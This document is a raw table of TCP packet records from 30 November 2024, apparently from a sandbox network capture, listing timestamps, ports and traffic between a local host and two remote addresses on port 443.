Nov 30, 2024 04:13:00.748296022 CET	443	49891	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:00.752006054 CET	49891	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:00.752022028 CET	443	49891	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:00.752512932 CET	49891	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:00.752518892 CET	443	49891	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:00.920345068 CET	443	49889	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:00.923835993 CET	443	49889	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:00.923975945 CET	49889	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:00.924236059 CET	49889	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:00.924236059 CET	49889	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:00.924254894 CET	443	49889	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:00.924268007 CET	443	49889	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:00.927603006 CET	49894	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:00.927623987 CET	443	49894	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:00.927911043 CET	49894	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:00.928081036 CET	49894	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:00.928091049 CET	443	49894	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:01.065248966 CET	443	49890	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:01.068459988 CET	443	49890	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:01.068531036 CET	49890	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:01.068558931 CET	49890	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:01.068582058 CET	443	49890	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:01.068595886 CET	49890	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:01.068600893 CET	443	49890	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:01.071841955 CET	49895	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:01.071924925 CET	443	49895	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:01.072012901 CET	49895	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:01.072139978 CET	49895	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:01.072160959 CET	443	49895	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:01.202331066 CET	443	49891	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:01.202356100 CET	443	49891	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:01.202409029 CET	443	49891	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:01.202441931 CET	49891	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:01.202476025 CET	49891	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:01.202614069 CET	49891	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:01.202641964 CET	443	49891	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:01.202651978 CET	49891	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:01.202657938 CET	443	49891	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:01.205641031 CET	49896	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:01.205679893 CET	443	49896	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:01.205763102 CET	49896	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:01.206000090 CET	49896	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:01.206008911 CET	443	49896	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:01.982366085 CET	443	49892	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:01.982935905 CET	49892	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:01.982959032 CET	443	49892	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:01.983551025 CET	49892	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:01.983556986 CET	443	49892	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:02.417685986 CET	443	49892	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:02.422939062 CET	443	49892	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:02.423930883 CET	49892	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:02.424236059 CET	49892	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:02.424251080 CET	443	49892	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:02.424283981 CET	49892	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:02.424289942 CET	443	49892	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:02.427473068 CET	49897	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:02.427540064 CET	443	49897	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:02.427906036 CET	49897	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:02.428250074 CET	49897	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:02.428266048 CET	443	49897	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:02.481738091 CET	443	49893	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:02.484282970 CET	49893	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:02.484313965 CET	443	49893	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:02.484774113 CET	49893	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:02.484780073 CET	443	49893	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:02.652194023 CET	443	49894	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:02.655811071 CET	49894	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:02.655824900 CET	443	49894	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:02.656465054 CET	49894	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:02.656470060 CET	443	49894	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:02.787296057 CET	443	49895	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:02.788829088 CET	49895	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:02.788861990 CET	443	49895	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:02.789355040 CET	49895	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:02.789361000 CET	443	49895	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:02.921933889 CET	443	49896	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:02.922522068 CET	49896	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:02.922549009 CET	443	49896	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:02.923139095 CET	49896	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:02.923144102 CET	443	49896	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:02.935760975 CET	443	49893	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:02.938901901 CET	443	49893	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:02.939908981 CET	49893	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:02.940085888 CET	49893	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:02.940085888 CET	49893	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:02.940107107 CET	443	49893	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:02.940116882 CET	443	49893	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:02.942893982 CET	49898	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:02.942924976 CET	443	49898	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:02.942998886 CET	49898	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:02.943156004 CET	49898	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:02.943166018 CET	443	49898	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:03.128742933 CET	443	49894	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:03.128818989 CET	443	49894	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:03.128870964 CET	49894	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:03.129170895 CET	49894	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:03.129170895 CET	49894	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:03.129184008 CET	443	49894	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:03.129192114 CET	443	49894	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:03.135143995 CET	49899	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:03.135185957 CET	443	49899	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:03.135243893 CET	49899	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:03.135447025 CET	49899	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:03.135458946 CET	443	49899	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:03.222424984 CET	443	49895	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:03.222455978 CET	443	49895	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:03.222511053 CET	49895	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:03.222513914 CET	443	49895	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:03.222558022 CET	49895	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:03.223011017 CET	49895	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:03.223026037 CET	443	49895	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:03.223038912 CET	49895	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:03.223043919 CET	443	49895	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:03.229151011 CET	49900	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:03.229199886 CET	443	49900	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:03.229257107 CET	49900	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:03.229496956 CET	49900	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:03.229511023 CET	443	49900	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:03.358624935 CET	443	49896	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:03.358695984 CET	443	49896	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:03.358763933 CET	49896	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:03.359038115 CET	49896	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:03.359052896 CET	443	49896	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:03.359062910 CET	49896	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:03.359069109 CET	443	49896	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:03.362031937 CET	49901	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:03.362076998 CET	443	49901	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:03.362277031 CET	49901	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:03.362462997 CET	49901	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:03.362478971 CET	443	49901	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:03.669083118 CET	49902	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:13:03.669142008 CET	443	49902	20.198.118.190	192.168.2.6
Nov 30, 2024 04:13:03.669240952 CET	49902	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:13:03.669878006 CET	49902	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:13:03.669897079 CET	443	49902	20.198.118.190	192.168.2.6
Nov 30, 2024 04:13:04.210530996 CET	443	49897	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:04.261693001 CET	49897	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:04.261737108 CET	443	49897	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:04.262190104 CET	49897	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:04.262197018 CET	443	49897	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:04.655275106 CET	443	49897	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:04.658341885 CET	443	49897	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:04.658390999 CET	443	49897	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:04.658416986 CET	49897	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:04.658461094 CET	49897	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:04.658534050 CET	49897	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:04.658560991 CET	443	49897	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:04.658569098 CET	49897	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:04.658575058 CET	443	49897	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:04.661724091 CET	49903	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:04.661782980 CET	443	49903	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:04.661858082 CET	49903	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:04.662012100 CET	49903	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:04.662030935 CET	443	49903	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:04.663945913 CET	443	49898	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:04.664341927 CET	49898	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:04.664366961 CET	443	49898	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:04.664807081 CET	49898	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:04.664812088 CET	443	49898	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:04.979443073 CET	443	49899	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:04.980133057 CET	49899	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:04.980180025 CET	443	49899	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:04.980627060 CET	49899	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:04.980632067 CET	443	49899	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:05.071964979 CET	443	49900	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:05.072890997 CET	49900	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:05.072922945 CET	443	49900	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:05.073827028 CET	49900	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:05.073833942 CET	443	49900	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:05.098237038 CET	443	49898	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:05.101797104 CET	443	49898	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:05.101854086 CET	49898	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:05.101972103 CET	49898	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:05.101996899 CET	443	49898	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:05.102008104 CET	49898	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:05.102014065 CET	443	49898	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:05.106617928 CET	49904	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:05.106687069 CET	443	49904	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:05.106754065 CET	49904	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:05.106966019 CET	49904	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:05.106983900 CET	443	49904	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:05.141482115 CET	443	49901	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:05.142077923 CET	49901	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:05.142103910 CET	443	49901	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:05.142724037 CET	49901	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:05.142734051 CET	443	49901	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:05.432416916 CET	443	49899	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:05.435697079 CET	443	49899	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:05.435758114 CET	49899	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:05.435832024 CET	49899	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:05.435842991 CET	443	49899	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:05.435858011 CET	49899	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:05.435863018 CET	443	49899	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:05.438838959 CET	49905	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:05.438879013 CET	443	49905	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:05.438946009 CET	49905	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:05.439099073 CET	49905	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:05.439111948 CET	443	49905	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:05.525141001 CET	443	49900	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:05.528366089 CET	443	49900	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:05.528459072 CET	49900	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:05.528507948 CET	49900	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:05.528507948 CET	49900	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:05.528527975 CET	443	49900	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:05.528537989 CET	443	49900	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:05.531434059 CET	49906	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:05.531487942 CET	443	49906	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:05.531568050 CET	49906	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:05.531744957 CET	49906	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:05.531760931 CET	443	49906	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:05.592212915 CET	443	49901	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:05.595362902 CET	443	49901	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:05.595412016 CET	443	49901	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:05.595510006 CET	49901	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:05.595613003 CET	49901	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:05.595613003 CET	49901	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:05.595658064 CET	443	49901	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:05.595686913 CET	443	49901	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:05.598695040 CET	49907	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:05.598740101 CET	443	49907	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:05.598812103 CET	49907	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:05.598968983 CET	49907	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:05.598978996 CET	443	49907	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:05.888326883 CET	443	49902	20.198.118.190	192.168.2.6
Nov 30, 2024 04:13:05.888401985 CET	49902	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:13:05.891179085 CET	49902	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:13:05.891190052 CET	443	49902	20.198.118.190	192.168.2.6
Nov 30, 2024 04:13:05.891462088 CET	443	49902	20.198.118.190	192.168.2.6
Nov 30, 2024 04:13:05.893870115 CET	49902	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:13:05.893932104 CET	49902	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:13:05.893939018 CET	443	49902	20.198.118.190	192.168.2.6
Nov 30, 2024 04:13:05.894061089 CET	49902	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:13:05.939321995 CET	443	49902	20.198.118.190	192.168.2.6
Nov 30, 2024 04:13:06.376373053 CET	443	49903	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:06.377096891 CET	49903	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:06.377125025 CET	443	49903	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:06.377612114 CET	49903	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:06.377619982 CET	443	49903	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:06.558556080 CET	443	49902	20.198.118.190	192.168.2.6
Nov 30, 2024 04:13:06.558644056 CET	443	49902	20.198.118.190	192.168.2.6
Nov 30, 2024 04:13:06.558734894 CET	49902	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:13:06.558957100 CET	49902	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:13:06.558976889 CET	443	49902	20.198.118.190	192.168.2.6
Nov 30, 2024 04:13:06.810916901 CET	443	49903	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:06.814220905 CET	443	49903	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:06.814279079 CET	49903	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:06.814336061 CET	49903	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:06.814358950 CET	443	49903	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:06.814373016 CET	49903	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:06.814378977 CET	443	49903	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:06.817567110 CET	49908	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:06.817600965 CET	443	49908	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:06.817703009 CET	49908	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:06.817853928 CET	49908	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:06.817868948 CET	443	49908	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:06.884948969 CET	443	49904	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:06.887059927 CET	49904	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:06.887088060 CET	443	49904	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:06.888228893 CET	49904	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:06.888236046 CET	443	49904	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:07.311230898 CET	443	49906	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:07.311853886 CET	49906	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:07.311875105 CET	443	49906	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:07.312355995 CET	49906	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:07.312360048 CET	443	49906	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:07.328685999 CET	443	49904	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:07.332042933 CET	443	49904	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:07.332113981 CET	49904	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:07.332160950 CET	49904	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:07.332176924 CET	443	49904	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:07.332186937 CET	49904	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:07.332192898 CET	443	49904	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:07.335350037 CET	49909	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:07.335392952 CET	443	49909	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:07.335481882 CET	49909	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:07.335644007 CET	49909	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:07.335658073 CET	443	49909	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:07.380830050 CET	443	49907	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:07.381282091 CET	49907	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:07.381325960 CET	443	49907	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:07.381774902 CET	49907	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:07.381788969 CET	443	49907	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:07.756314993 CET	443	49906	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:07.759382963 CET	443	49906	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:07.759432077 CET	443	49906	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:07.759445906 CET	49906	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:07.759493113 CET	49906	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:07.759537935 CET	49906	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:07.759551048 CET	443	49906	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:07.759560108 CET	49906	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:07.759563923 CET	443	49906	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:07.762383938 CET	49910	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:07.762460947 CET	443	49910	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:07.762562990 CET	49910	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:07.762722969 CET	49910	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:07.762770891 CET	443	49910	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:07.828689098 CET	443	49907	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:07.832066059 CET	443	49907	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:07.832137108 CET	49907	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:07.832214117 CET	49907	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:07.832214117 CET	49907	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:07.832257032 CET	443	49907	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:07.832283974 CET	443	49907	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:07.835206032 CET	49911	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:07.835239887 CET	443	49911	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:07.835318089 CET	49911	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:07.835468054 CET	49911	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:07.835481882 CET	443	49911	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:08.656436920 CET	443	49908	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:08.661705017 CET	49908	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:08.661746979 CET	443	49908	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:08.662230015 CET	49908	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:08.662235975 CET	443	49908	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:09.100454092 CET	443	49908	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:09.103637934 CET	443	49908	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:09.103869915 CET	49908	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:09.141836882 CET	49908	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:09.141872883 CET	443	49908	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:09.141892910 CET	49908	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:09.141899109 CET	443	49908	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:09.146678925 CET	49912	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:09.146719933 CET	443	49912	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:09.146791935 CET	49912	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:09.146939993 CET	49912	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:09.146954060 CET	443	49912	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:09.549765110 CET	443	49910	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:09.550533056 CET	49910	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:09.550617933 CET	443	49910	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:09.550991058 CET	49910	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:09.551008940 CET	443	49910	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:09.649746895 CET	443	49911	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:09.650258064 CET	49911	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:09.650285006 CET	443	49911	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:09.650680065 CET	49911	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:09.650684118 CET	443	49911	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:09.993809938 CET	443	49910	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:09.993840933 CET	443	49910	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:09.993891001 CET	443	49910	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:09.994010925 CET	49910	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:09.994127989 CET	49910	443	192.168.2.6	13.107.246.63
